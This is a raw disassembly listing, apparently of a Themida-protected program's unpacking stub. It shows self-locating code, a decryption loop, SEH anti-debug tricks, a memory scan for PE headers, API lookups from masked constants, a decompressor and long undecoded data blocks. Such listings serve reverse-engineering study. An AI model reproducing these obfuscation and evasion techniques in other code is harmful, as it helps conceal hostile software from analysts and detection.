var_24 = dword ptr -24h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFD8h
pusha
call $+5
pop edx
sub edx, 6033399h
mov ebx, edx
mov [ebp+var_28], 0
loc_53F01D: ; CODE XREF: sub_53F001+39j
mov eax, [ebp+var_28]
inc eax
mov [ebp+var_28], eax
cmp [ebp+var_28], 80h
jz short loc_53F03C
mov eax, [ebp+arg_0]
mov [ebx+6033303h], eax
inc [ebp+arg_0]
inc ebx
jmp short loc_53F01D
; ---------------------------------------------------------------------------
loc_53F03C: ; CODE XREF: sub_53F001+2Aj
mov [ebp+var_24], eax
popa
mov eax, [ebp+var_24]
leave
retn 4
sub_53F001 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_53F047 proc near ; CODE XREF: start+5EF4Fp start+5EF59p
var_84 = dword ptr -84h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFF7Ch
pusha
call $+5
pop edx
sub edx, 60333E2h
lea eax, [ebp+var_80]
mov ebx, [ebp+arg_0]
mov [ebp+var_84], 0
loc_53F06D: ; CODE XREF: sub_53F047+41j
mov ecx, [ebp+var_84]
rol ebx, 1
mov [eax], bl
inc ecx
mov [ebp+var_84], ecx
cmp [ebp+var_84], 80h
jnz short loc_53F06D
mov [ebp+var_84], 0
lea edi, [edx+6033303h]
lea esi, [ebp+var_80]
loc_53F09D: ; CODE XREF: sub_53F047+83j
mov cl, [esi]
mov ebx, 1F4h
mov eax, 785437ABh
loc_53F0A9: ; CODE XREF: sub_53F047+69j
rcl eax, cl
mov cl, [edi]
rcl eax, cl
dec ebx
jnz short loc_53F0A9
imul eax, ebx
inc edi
inc esi
mov ecx, [ebp+var_84]
inc ecx
mov [ebp+var_84], ecx
cmp ecx, 80h
jnz short loc_53F09D
popa
leave
retn 4
sub_53F047 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
mov esi, [ebp+8]
mov dword ptr [ebp-4], 0
jmp short loc_53F0E7
; ---------------------------------------------------------------------------
loc_53F0E3: ; CODE XREF: Themida_:0053F0EAj
inc dword ptr [ebp-4]
inc esi
loc_53F0E7: ; CODE XREF: Themida_:0053F0E1j
cmp byte ptr [esi], 0
jnz short loc_53F0E3
mov edx, 0
mov esi, [ebp+8]
mov edi, [ebp+0Ch]
jmp short loc_53F178
; ---------------------------------------------------------------------------
loc_53F0F9: ; CODE XREF: Themida_:0053F17Bj
mov dword ptr [ebp-8], 0
jmp short loc_53F16F
; ---------------------------------------------------------------------------
loc_53F102: ; CODE XREF: Themida_:0053F173j
mov dword ptr [ebp-10h], 0
mov dword ptr [ebp-0Ch], 0
jmp short loc_53F15C
; ---------------------------------------------------------------------------
loc_53F112: ; CODE XREF: Themida_:0053F160j
shl dword ptr [ebp-10h], 4
mov eax, [ebp-8]
shl eax, 1
add eax, edx
add eax, [ebp-0Ch]
xor ebx, ebx
mov bl, [eax+esi]
cmp bl, 30h
jb short loc_53F134
cmp bl, 39h
ja short loc_53F134
sub bl, 30h
jmp short loc_53F156
; ---------------------------------------------------------------------------
loc_53F134: ; CODE XREF: Themida_:0053F128j
; Themida_:0053F12Dj
cmp bl, 61h
jb short loc_53F146
cmp bl, 66h
ja short loc_53F146
sub bl, 61h
add bl, 0Ah
jmp short loc_53F156
; ---------------------------------------------------------------------------
loc_53F146: ; CODE XREF: Themida_:0053F137j
; Themida_:0053F13Cj
cmp bl, 41h
jb short loc_53F156
cmp bl, 46h
ja short loc_53F156
sub bl, 41h
add bl, 0Ah
loc_53F156: ; CODE XREF: Themida_:0053F132j
; Themida_:0053F144j ...
add [ebp-10h], ebx
inc dword ptr [ebp-0Ch]
loc_53F15C: ; CODE XREF: Themida_:0053F110j
cmp dword ptr [ebp-0Ch], 2
jb short loc_53F112
cmp dword ptr [ebp-10h], 0
jbe short loc_53F16C
mov eax, [ebp-10h]
stosb
loc_53F16C: ; CODE XREF: Themida_:0053F166j
inc dword ptr [ebp-8]
loc_53F16F: ; CODE XREF: Themida_:0053F100j
cmp dword ptr [ebp-8], 2
jb short loc_53F102
add edx, 4
loc_53F178: ; CODE XREF: Themida_:0053F0F7j
cmp edx, [ebp-4]
jb loc_53F0F9
mov al, 0
stosb
mov eax, [ebp-4]
leave
retn 8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_53F18B: ; CODE XREF: start+5EF5Ej
mov ecx, 7000h
lea edi, [ebp+6033528h]
loc_53F196: ; CODE XREF: start+5F186j
dec byte ptr [edi]
inc edi
dec ecx
jnz short loc_53F196
mov eax, 48692121h
mov edx, 0F00E0000h
sub edx, 0F0000000h
lea eax, [ebp+603360Ah]
push eax
push large dword ptr fs:0
mov large fs:0, esp
call $+5
pop eax
movsx ebx, si
pusha
movsx esi, ax
popa
sub eax, edx
mov ebx, esi
and eax, 0FFFFF000h
call near ptr loc_53F1DD+9
loc_53F1DD: ; CODE XREF: start+5F1C4p
mov dword ptr [ebx+43798A74h], 600E130Bh
mov si, bx
mov di, bx
popa
pop ebx
mov bl, ch
mov ecx, edx
xor edi, edi
loc_53F1F5: ; CODE XREF: start+5F1FCj
cmp word ptr [eax], 5A4Dh
jnz short loc_53F20A
movzx edx, word ptr [eax+3Ch]
add edx, eax
cmp dword ptr [edx], 4550h
jz short loc_53F212
loc_53F20A: ; CODE XREF: start+5F1E6j
sub eax, 1000h
inc edi
jmp short loc_53F1F5
; ---------------------------------------------------------------------------
loc_53F212: ; CODE XREF: start+5F1F4j
pop large dword ptr fs:0
add esp, 4
lea edx, [ebp+603361Dh]
push edx
push large dword ptr fs:0
mov large fs:0, esp
add eax, ecx
sub eax, 1000h
mov esi, [eax+4]
and esi, 0FFFF0000h
cmp esi, 80000000h
jbe short loc_53F24C
mov esi, [eax+1Ch]
loc_53F24C: ; CODE XREF: start+5F233j
xor eax, eax
loc_53F24E: ; CODE XREF: start+5F24Dj
cmp eax, 32h
jz short loc_53F272
cmp word ptr [esi], 5A4Dh
jz short loc_53F263
loc_53F25A: ; CODE XREF: start+5F25Cj
sub esi, 10000h
inc eax
jmp short loc_53F24E
; ---------------------------------------------------------------------------
loc_53F263: ; CODE XREF: start+5F244j
mov edi, [esi+3Ch]
add edi, esi
cmp dword ptr [edi], 4550h
jz short loc_53F2B4
jmp short loc_53F25A
; ---------------------------------------------------------------------------
loc_53F272: ; CODE XREF: start+5F23Dj
pop large dword ptr fs:0
add esp, 4
popa
retn
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
dw 8B51h
dd 8110244Ch, 0B0A9h, 100000h, 0C0335900h, 4C8B51C3h, 0E8551024h
dd 0
dd 28ED815Dh, 8D060336h, 335E685h, 0B8818906h, 5D000000h
dd 0C3C03359h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_53F2B4: ; CODE XREF: start+5F25Aj
xchg eax, esi
pop large dword ptr fs:0
add esp, 4
push esi
jnz loc_53F2C7
cmc
loc_53F2C7: ; CODE XREF: start+5F2ACj
pop ebx
mov bl, ch
mov bl, 0F9h
mov cx, ds
mov bl, 80h
and cl, 4
and ebx, 3185EFC9h
or cl, cl
jnz loc_53F320
push 0
push edx
call sub_53F2ED
and [edx-3Dh], bl
; END OF FUNCTION CHUNK FOR start
; =============== S U B R O U T I N E =======================================
sub_53F2ED proc near ; CODE XREF: start+5F2D1p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_53F2ED endp
; ---------------------------------------------------------------------------
db 0A9h, 80h, 0D7h
dd 9185C719h, 106031Eh, 81000000h, 0B1E184C3h, 16E964h
dd 81660000h, 661799D3h, 0AD4FC381h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_53F320: ; CODE XREF: start+5F2C8j
mov dword ptr [ebp+6031E91h], 0
mov bh, al
mov [ebp+6031359h], eax
jo loc_53F33A
mov bh, cl
loc_53F33A: ; CODE XREF: start+5F31Ej
mov [ebp+60328C9h], eax
call sub_53F34A
mov dh, 16h
sub cl, bh
; END OF FUNCTION CHUNK FOR start
; =============== S U B R O U T I N E =======================================
sub_53F34A proc near ; CODE XREF: start+5F32Cp
cld
pop edi
add edi, 7529h
push ebx
cld
pop edx
mov eax, 1D13h
jmp loc_53F36C
; ---------------------------------------------------------------------------
db 83h
dd 9D807870h, 0C4C9E7DEh, 3B8C8C1h
; ---------------------------------------------------------------------------
loc_53F36C: ; CODE XREF: sub_53F34A+10j
; sub_53F34A+CCj
mov ebx, [edi]
and si, 29F6h
sub ebx, 4451C8DDh
jmp loc_53F387
; ---------------------------------------------------------------------------
dw 11ADh
dd 0F58619Bh
db 0F4h, 0E9h, 28h
; ---------------------------------------------------------------------------
loc_53F387: ; CODE XREF: sub_53F34A+2Fj
xor ebx, 4EC23383h
sub ebx, 3B1E05E7h
jmp loc_53F3A5
; ---------------------------------------------------------------------------
dd 0A29D7C59h, 0BBBD305Fh, 0C3869FD9h
db 9Fh
; ---------------------------------------------------------------------------
loc_53F3A5: ; CODE XREF: sub_53F34A+49j
push ebx
mov ecx, 78B6F940h
pop dword ptr [edi]
jmp loc_53F3C2
; ---------------------------------------------------------------------------
dw 0C6FCh
dd 1AF848FAh, 0D4A2D0B0h, 0E669CC6Eh
db 0D8h, 8Dh
; ---------------------------------------------------------------------------
loc_53F3C2: ; CODE XREF: sub_53F34A+63j
sub edi, 5E664BC2h
stc
add edi, 5E664BBEh
or si, 7772h
sub eax, 1
jnz loc_53F411
jmp loc_53F3F9
; ---------------------------------------------------------------------------
db 2Ah, 57h, 0EDh
dd 756B429Ah, 211CA208h, 4FED4B2h, 1D6A4CABh
db 3Fh
; ---------------------------------------------------------------------------
loc_53F3F9: ; CODE XREF: sub_53F34A+96j
jmp loc_53F426
; ---------------------------------------------------------------------------
dw 2AC0h
dd 0CFE97552h, 417743C5h, 0C03B5568h, 28939761h
db 6Ch
; ---------------------------------------------------------------------------
loc_53F411: ; CODE XREF: sub_53F34A+90j
mov ecx, 4FA0A0B9h
jmp loc_53F36C
; ---------------------------------------------------------------------------
db 0EDh
dd 6A558153h, 9776028Ch
db 4Eh, 0E1h
; ---------------------------------------------------------------------------
loc_53F426: ; CODE XREF: sub_53F34A:loc_53F3F9j
call sub_53F434
rcl byte ptr [eax-5Dh], 35h
xlat
lodsb
int 0C5h ; used by BASIC while in interpreter
pop ecx
sub_53F34A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_53F434 proc near ; CODE XREF: sub_53F34A:loc_53F426p
jge loc_53F43F
push eax
and ch, 7
pop ebx
loc_53F43F: ; CODE XREF: sub_53F434j
pop edx
jmp loc_53F458
; ---------------------------------------------------------------------------
db 56h, 0CFh, 68h
dd 69F80DA3h, 440961FAh, 0B9DED757h, 0CDD37257h
; ---------------------------------------------------------------------------
loc_53F458: ; CODE XREF: sub_53F434+Cj
add edx, 68ADh
mov ecx, 6435AD84h
mov eax, 20B3B6C9h
add eax, 0DF4C6335h
call sub_53F483
iret
sub_53F434 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd 0D2AF9BA7h, 0F986F5F6h, 983A5480h
db 19h, 0FBh, 42h
; =============== S U B R O U T I N E =======================================
sub_53F483 proc near ; CODE XREF: sub_53F434+3Ap
call near ptr loc_53F490+1
sbb byte ptr [ecx-4Ch], 0A8h ; CODE XREF: sub_53F483:loc_53F490j
leave
push edi
add bl, [edi]
loc_53F490: ; CODE XREF: sub_53F483p
js short near ptr loc_53F488+2
sub_53F483 endp ; sp-analysis failed
pop ebx
pop edi
loc_53F494: ; CODE XREF: Themida_:0053F4DCj
push dword ptr [edx]
movzx ebx, bx
pop esi
mov ecx, 86D6900h
sub esi, 10942508h
xor di, 38BCh
xor esi, 38C2F2A3h
mov ecx, ebx
sub esi, 6663AFEDh
jo $+6
push esi
pop dword ptr [edx]
jp $+6
sub edx, 1BC7E6C0h
mov cx, bx
add edx, 1BC7E6BCh
and di, 223Ah
dec eax
jnz loc_53F494
mov ebx, edx
jmp loc_53FC66
; ---------------------------------------------------------------------------
db 60h, 0B2h, 47h
dd 0CA8B6660h, 1AA19D89h, 61610603h, 217h, 6031E8Dh, 8B600000h
dd 32E61B5h, 0CE906h, 5B860000h, 9474DD97h, 0CDF0DC11h
dd 6061E641h, 14E9h, 1EA3E300h, 0B8FD6C20h, 275FAF1Eh
dd 0F41CA7BAh, 2FC4FFA4h, 0B8B4h, 9D090000h, 6030CF5h
dd 2824548Bh, 0AD8589F9h, 0F060312h, 68Dh, 1D952900h, 0BE060322h
dd 3Ch, 188E0Fh, 8D0F0000h, 12h, 0DE9h, 530F0D00h, 0C145FF2Bh
dd 79111BFFh, 74036838h, 5E92424h, 9A000000h, 0A885B517h
dd 14E9AD66h, 0F9000000h, 2618D32Fh, 5995BE8Ch, 0EFD354F7h
dd 75830B53h, 3052710h, 0E9242444h, 0Dh, 432BD75Ah, 0A03BF5FDh
dd 0BF7080F5h, 0FE95098h, 1000000h, 85418ACCh, 1969097Ch
dd 5E08B1FAh, 489CF56h, 408BF524h, 299D2978h, 3060311h
dd 0F282444h, 180h, 408BF900h, 6800F18h, 29000000h, 32CA99Dh
dd 5E94006h, 11000000h, 0CE46D920h, 38848589h, 830F0603h
dd 0Ch, 6850Fh, 8A0F0000h, 0
dd 11E958h, 4C8C0000h, 0D9593F95h, 8FEB96DDh, 2C6EF41Eh
dd 8B91062Bh, 13E97870h, 3D000000h, 86ADF3B7h, 0D99D5D61h
dd 0AEF76359h, 0FFD2EE24h, 0C683AA22h, 7403FC1Ch, 0E8602424h
dd 12h, 0A048B20Dh, 62F0ABB8h, 505EBA8Ch, 0AB1A5531h, 9509768Ah
dd 6030CB1h, 0E98D8B5Ah, 61060311h, 31C1BD8Dh, 0F5600603h
dd 2051958Bh, 0AD610603h, 1B89B589h, 44030603h, 0BD892424h
dd 6030345h, 0A830FABh, 0E9000000h, 5, 71E2F6D9h, 51BD8D3Fh
dd 0F8060310h, 3D9D2360h, 8A060303h, 0E9AD61F9h, 14h, 0FD3188D1h
dd 89B81E6Bh, 9228A9EFh, 0EC3681C2h, 8A147985h, 24244403h
dd 1AE59589h, 0F900603h, 1586h, 10E900h, 69390000h, 2838B969h
dd 0A68CCE9Bh, 0BCB6107Eh, 50505538h, 48B76052h, 0F61DA8Bh
dd 15800F31h, 0E9000000h, 10h, 0E1EA5BDBh, 0B56B026Bh
dd 86D5DAF1h, 0E54CFCD9h, 990585Ah, 31C09B5h, 9589AB06h
dd 60303C5h, 2259BD8Dh, 81600603h, 0DE0252CFh, 9D336029h
dd 6031015h, 13FD9D8Bh, 61610603h, 0C19589ADh, 306031Bh
dd 0F282444h, 688h, 2D9D3100h, 0F5060304h, 89F860ABh, 313A19Dh
dd 0E95E6106h, 0Bh, 55AB7B0Eh, 5A4D421Ch, 0FF336F8Ah, 338848Dh
dd 84BD8306h, 60338h, 44C71075h, 1C24h, 0B58D0000h, 6033DCDh
dd 0AD56E6FFh, 28244403h, 8ADF8B97h, 32F3985h, 74C08406h
dd 75073A04h, 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh, 8B49C933h
dd 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah, 66EBD166h
dd 973D8D1h, 50413566h, 49F38166h, 75CEFE54h, 33C833EBh
dd 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah
dd 0C6835E0Fh, 0AD85FF04h, 0E9060312h, 0FFFFFF6Fh, 0E8D0F5Eh
dd 60000000h, 0B3D858Bh, 0B58B0603h, 6030289h, 13860F61h
dd 0E9000000h, 0Eh, 0BFF2E2D1h, 0EC56FDEAh, 0EBA836A5h
dd 858B1B69h, 60312ADh, 14E9h, 480CC200h, 65B9ECCAh, 744A3E28h
dd 25605CABh, 62EF1CF0h, 0E9E0D1E1h, 0Eh, 34CAE0D2h, 3A693830h
dd 0E412EB5Bh, 850386E4h, 6032259h, 6820Fh, 8D290000h
dd 60326D5h, 0FE9F62Bh, 74000000h, 623013Bh, 24010259h
dd 6CA3F97Bh, 0E9969FF6h, 11h, 0AE8B310Eh, 0F894FD70h
dd 3FDCC686h, 1DEF3D06h, 60AD6612h, 38D852Bh, 0B8660603h
dd 0C161728Bh, 8D8902E0h, 6032979h, 31C18503h, 0BE90603h
dd 4C000000h, 6F789547h, 8A484CF1h, 0E996E2F5h, 0Ch, 0DDC29642h
dd 6EFD72F1h, 221DBF5Bh, 0E1B589ADh, 8B06031Ch, 0F24244Ch
dd 685h, 21BD0900h, 306031Fh, 0F242444h, 68Eh, 45958900h
dd 89060332h, 601C2444h, 14E956h, 6CDD0000h, 1B4EB1A8h
dd 4ADFBE76h, 0DC5808DBh, 0BA8E8909h, 0F5BE468h, 687h
dd 860F00h, 61000000h, 1880F96h, 0F5000000h, 6830FACh
dd 89000000h, 302358Dh, 0F8C93206h, 9589C1FEh, 6031AE5h
dd 830FD0D0h, 0D5h, 0FD0D0FCh, 0CC83h, 38C0F00h, 60000000h
dd 0D0D061F5h, 0BB820Fh, 840F0000h, 6, 250D9D89h, 0D0F80603h
dd 0A6820FD0h, 89000000h, 32475B5h, 958B6006h, 6032979h
dd 23A59529h, 0FE610603h, 0AD890FC9h, 1FFFFFFh, 3128195h
dd 20C48306h, 0E8B0Fh, 29600000h, 32EA9B5h, 45952306h
dd 61060301h, 0FC2444C7h, 0
dd 12819589h, 1B80603h, 0E9000000h, 13h, 2BFC1E07h, 798FDCF6h
dd 0A5C16BDEh, 585E3289h, 606EF3E2h, 0D9858B52h, 59060313h
dd 0AE9h, 6548AD00h, 0F9F901B1h, 617F1A41h, 72878D8Dh
dd 89600603h, 3315DB5h, 38B0F06h, 80000000h, 0FF6154C8h
dd 0BE9E1h, 0FD840000h, 4D6D13C0h, 4DA7212Bh, 3985C66Dh
dd 6032Fh, 0A9BD2B60h, 8B060309h, 32C718Dh, 0F616106h
dd 0C82h, 6880F00h, 0F000000h, 8Eh, 8C200h, 1B858D89h
dd 50500603h, 13E952h, 6EAB0000h, 99191639h, 0F1ED4C04h
dd 7C2BD2E2h, 48105077h, 50310FEEh, 0F525052h, 0F585A31h
dd 860F31h, 5A000000h, 89585A58h, 89F52434h, 33FC6B5h
dd 8D89F906h, 6033FDFh, 0AB59D89h, 0B58D0603h, 6033EABh
dd 0EE9h, 0EFB52100h, 8D15A525h, 0D7DDE07Bh, 8D48AC84h
dd 5B7E3585h, 0EE900h, 0CAE20000h, 0AC7ACBBEh, 330E5E6h
dd 0D22F725Bh, 8501D0FFh, 6030C15h, 13E95Eh, 0ED750000h
dd 6ED93880h, 9751B6BFh, 0A3260943h, 0BE740B3h, 0A810F87h
dd 0E9000000h, 5, 0E43A69Bh, 8BF5C3DEh, 33FC6B5h, 8D8BF506h
dd 6033FDFh, 23099589h, 0B80603h, 89000000h, 3103D9Dh
dd 60D98B06h, 2525858Bh, 52510603h, 0E961595Ah, 0D2h, 12E9h
dd 740A4600h, 9DE545EBh, 0BEFFFED1h, 53CD9A26h, 32C92061h
dd 0BD316026h, 6031CC5h, 61F88B66h, 5E902B2h, 88000000h
dd 82307EC6h, 8BE9h, 0DDB50900h, 32060329h, 0EE9C2h, 0C5D00000h
dd 647F5B2Eh, 0E3A4E8C1h, 7F957C6h, 0D850Fh, 89600000h
dd 30465B5h, 0E437B806h, 5612C55h, 8A751D7Ah, 196D8D89h
dd 0CC8A0603h, 2955B589h, 0C8D30603h, 0F8B0Fh, 0AE90000h
dd 0A4000000h, 24854FEh, 0BD85B8DAh, 6660607Eh, 8E0FFE8Bh
dd 0
dd 3561F861h, 98D10842h, 6840Fh, 85010000h, 6031D7Dh, 2D958960h
dd 52060304h, 615F19B1h, 0B509CAFEh, 6030B01h, 850FD20Ah
dd 0FFFFFF73h, 0A0D9D29h, 0F84B0603h, 0DB0BFC46h, 0FF3D850Fh
dd 0CFF9FFFFh, 0B70F6060h, 161F9CEh, 31EADBDh, 6106h, 10F1BD31h
dd 603h, 26099D89h, 89600603h, 3318DBDh, 61FC06h, 0B58B6000h
dd 60330E1h, 23DD8523h, 610603h
db 0, 0F8h
; ---------------------------------------------------------------------------
loc_53FC66: ; CODE XREF: Themida_:0053F4E4j
lea eax, [ebp+60338A7h]
jnb loc_53FC78
sub [ebp+6030949h], eax
loc_53FC78: ; CODE XREF: Themida_:0053FC6Cj
mov [ebp+6031CE9h], eax
mov [ebp+60323E9h], edx
lea eax, [ebp+6033DFEh]
pusha
push esi
jo $+6
pop eax
call near ptr loc_53FC9C+3
insd
db 36h
loopne near ptr loc_53FCA9+1
loc_53FC9C: ; CODE XREF: Themida_:0053FC93p
cmp eax, 0DA8BE827h
pop esi
popa
mov [ebp+6032C4Dh], eax
loc_53FCA9: ; CODE XREF: Themida_:0053FC99j
jmp short loc_53FCBF
; ---------------------------------------------------------------------------
align 4
dd 3 dup(0)
dd 8B000000h
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_53FCBF: ; CODE XREF: Themida_:loc_53FCA9j
lea eax, [ebp+6034103h]
mov [ebp+60311C5h], eax
cmp dword ptr [ebp+6034043h], 0
jz loc_53FDFB
mov byte ptr [ebp+6032F39h], 56h
call near ptr loc_53FCE7+1
cmp [ebp+1Fh], ebp
loc_53FCE7: ; CODE XREF: Themida_:0053FCDFp
aam 50h
mov eax, [esp+4]
mov eax, [eax]
mov [esp+4], eax
pop eax
push dword ptr [ebp+6031359h]
lea eax, [ebp+60338A7h]
call eax
mov [ebp+6034037h], eax
mov byte ptr [ebp+6032F39h], 56h
push 0DA227EECh
xor dword ptr [esp], 468AC6BEh
push dword ptr [ebp+6031359h]
lea eax, [ebp+60338A7h]
call eax
mov [ebp+603403Bh], eax
push 4
push 16B04ACDh
xor dword ptr [esp], 16B05ACDh
mov eax, [ebp+6034047h]
add eax, 1F4h
shl eax, 2
push eax
mov [esp], eax
push 0
call dword ptr [ebp+603403Bh]
mov [ebp+603403Fh], eax
mov ebx, eax
mov eax, 0FFFFFFFFh
call dword ptr [ebp+60311C5h]
mov eax, ebx
call dword ptr [ebp+60311C5h]
jmp loc_53FDFB
; ---------------------------------------------------------------------------
db 83h
dd 34043BDh, 850F0006h, 1, 0BD8B57C3h, 603403Fh, 3F8583ABh
dd 4060340h, 0BD83C35Fh, 6034043h, 1850F00h, 0C3000000h
dd 3FAD8360h, 4060340h, 403F9D8Bh, 7B830603h, 850FFFFCh
dd 1Dh, 92C13868h, 24048192h, 6D6DBEC8h, 33FF006Ah, 403795FFh
dd 0C3610603h, 1DE9h, 4D966800h, 34816C97h, 97CD9624h
dd 0FF006A6Ch, 3795FF33h, 83060340h, 3403FADh, 0B1E90406h
db 3 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53FDFB: ; CODE XREF: Themida_:0053FCD2j
; Themida_:0053FD72j
dec eax
jmp loc_53FFAE
; ---------------------------------------------------------------------------
db 60h, 8Bh, 74h
dd 7C8B2424h, 0B2FC2824h, 46068A80h, 0BB470788h, 2, 850FD202h
dd 5, 1246168Ah, 0E2830FD2h, 2FFFFFFh, 5850FD2h, 8A000000h
dd 0D2124616h, 6A830Fh, 0C0330000h, 850FD202h, 5, 1246168Ah
dd 2A830FD2h, 2000001h, 5850FD2h, 8A000000h, 0D2124616h
dd 0D202C013h, 5850Fh, 168A0000h, 13D21246h, 0FD202C0h
dd 585h, 46168A00h, 0C013D212h, 850FD202h, 5, 1246168Ah
dd 0FC013D2h, 684h, 0F82B5700h, 885F078Ah, 2BB4707h, 0E9000000h
dd 0FFFFFF70h, 1B8h, 0FD20200h, 585h, 46168A00h, 0C013D212h
dd 850FD202h, 5, 1246168Ah, 0DE820FD2h, 2BFFFFFFh, 1BBC3h
dd 850F0000h, 34h, 1B9h, 0FD20200h, 585h, 46168A00h, 0C913D212h
dd 850FD202h, 5, 1246168Ah, 0DE820FD2h, 56FFFFFFh, 0F52BF78Bh
dd 0E95EA4F3h, 0FFFFFF08h, 8E0C148h, 8B46068Ah, 1B9E8h
dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C9h
dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 7D003Dh, 22830F00h
dd 3D000000h, 500h, 0E820Fh, 56410000h, 0F02BF78Bh, 0E95EA4F3h
dd 0FFFFFEB4h, 0F7FF883h, 387h, 2C18300h, 2BF78B56h, 5EA4F3F0h
dd 0FFFE9BE9h, 46068AFFh, 0E8C0C933h, 17840F01h, 83000000h
dd 0E88B02D1h, 2BF78B56h, 5EA4F3F0h, 1BBh, 0FE76E900h
dd 7C2BFFFFh, 7C892824h, 0C2611C24h
db 8, 0
; ---------------------------------------------------------------------------
loc_53FFAE: ; CODE XREF: Themida_:0053FDFCj
mov edx, 929h
jmp loc_54098B
; ---------------------------------------------------------------------------
dd 497BF65Ch, 0C530E973h, 4AA6CD36h, 0E6FE7B5Dh, 423DD401h
dd 0D72AED36h, 98F4CC3Fh, 0B7D31480h, 447BD001h, 0CD3CAB78h
dd 19F4DA24h, 0A3F9694Ch, 21529F0Eh, 0C320E746h, 0CAF8CD22h
dd 0B1D11480h, 447BD30Eh, 0D023AB62h, 7F4C53Eh, 0B4E27750h
dd 4239911Ah, 0C737AB72h, 98B5DC22h, 0B1C45A81h, 5D7BC51Ah
dd 0D022E464h, 0FAC530h, 63h dup(0)
dd 407BF65Ch, 0D62CE579h, 1AF4DA3Eh, 0B4EA7547h, 4478DC02h
dd 0C065F877h, 0CABACD34h, 0B0C81593h, 5829970Bh, 0CC2CE578h
dd 4BD8836h, 0B3E26315h, 552B9111h, 0CF20FF65h, 0BAD9A27Fh
dd 0ADDC1F99h, 587B9B0Ah, 0C32AE778h, 1EBD8835h, 0A9FF7C15h
dd 4935910Eh, 0DB37E47Bh, 8EBAC971h, 0ADD808D5h, 5929D61Bh
dd 0D72AF236h, 18A48823h, 0A7FF7D5Ah, 9F0Eh, 48h dup(0)
dd 4E7BF65Ch, 0C926EA64h, 19F3DA34h, 0A9E26E15h, 4D30910Fh
dd 0C727AB65h, 8CF4C634h, 0BAD30F9Ah, 432EC54Fh, 0C52BE278h
dd 4ABAC171h, 0B4F8754Ch, 5F21C243h, 8C28EE62h, 8684A55Bh
dd 0BBCE1B90h, 432E9743h, 0C624E47Ah, 4AA0C171h, 0ABE26853h
dd 413DDC43h, 823CF979h, 0CAB0C630h, 0AACE1F87h, 0D2FC50Eh
dd 0D030E46Fh, 5A6D871h, 0ABEC6852h, 4Dh, 61h dup(0)
dd 4132F15Ch, 0CD26AB73h, 1AA1DA23h, 0E7E97F41h, 440C914Dh
dd 0D265F87Fh, 98B3C723h, 0B69D1794h, 4F7BC40Eh, 822BEE73h
dd 3BAC93Ch, 0A7E16F45h, 0C3CD417h, 8221E577h, 88ADC93Ch
dd 0B7B07090h, 0D28901Bh, 0C723E57Fh, 0EB1DC32h, 0E6F47815h
dd 450E9102h, 8236FE64h, 89F4DA3Eh, 0B5DE1B87h, 0D75D30Ah
dd 0D12CE342h, 6BDCE71h, 0A9FA3A50h, 0C2C960Dh, 0C937E461h
dd 93BAC971h, 0BBCF1598h, 41h, 0E0h dup(0)
aWlnumdllsprot db 'WLNumDLLsProt',0
a0 db '0',0
dd 8 dup(0)
dd 78450000h, 53207469h, 75746174h, 203D2073h, 6425h, 0
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_54098B: ; CODE XREF: Themida_:0053FFB3j
jmp loc_5436F2
; ---------------------------------------------------------------------------
dd 8BD38AFCh, 0B43CBAC0h, 95293979h, 6031259h, 1039BD83h
dd 75000603h, 1DBD8309h, 60311h, 53501374h, 1B8C08Bh, 8D000000h
dd 5AF339Dh, 5BD3FF06h, 1DBD8358h, 60311h, 53501174h, 1B8h
dd 0E49D8D00h, 0FF0605ADh, 66585BD3h, 56DC90BBh, 5AD38B66h
dd 9589C08Bh, 6030115h, 371BD83h, 0F000603h, 1FE84h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
dd 32BF8A0Ah, 162904E4h, 0AE85609h, 7E000000h, 0B87382D5h
dd 6827BD04h, 8F0FCBh, 5B000000h, 35BD835Bh, 60323h, 1B5840Fh
dd 95890000h, 6031785h, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1504h, 0C3534300h, 0B58923E3h, 6032A59h
dd 2335858Bh, 5F80603h, 3E8h, 0BF99D8Bh, 0E9500603h, 0Eh
dd 74FCA19Ch, 3A7344B5h, 64EBF52Dh, 489486Dh, 52006A24h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
dd 0AA53E051h, 95BFA3D2h, 9D298FA0h, 6031C91h, 4CFE858Dh
dd 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
dd 57470000h, 80EDD0C3h, 8A50CFC6h, 240489F8h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0D3C35242h, 0F6D666ADh
dd 816681D1h, 8D6A72DAh, 34CDC85h, 859D8B06h, 9006032Ah
dd 310F5250h, 585AD6B3h, 80BB6650h, 6A9092h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0B83FAEC3h
dd 0F375FC30h, 0DE8C46Bh, 77000000h, 8DC5B98Ch, 65DAE12Bh
dd 535FBBCBh, 491958Bh, 0FF5B0603h, 3128595h, 0D2B70F06h
dd 890CC483h, 310A1BDh, 0DC858D06h, 6A06034Ch, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
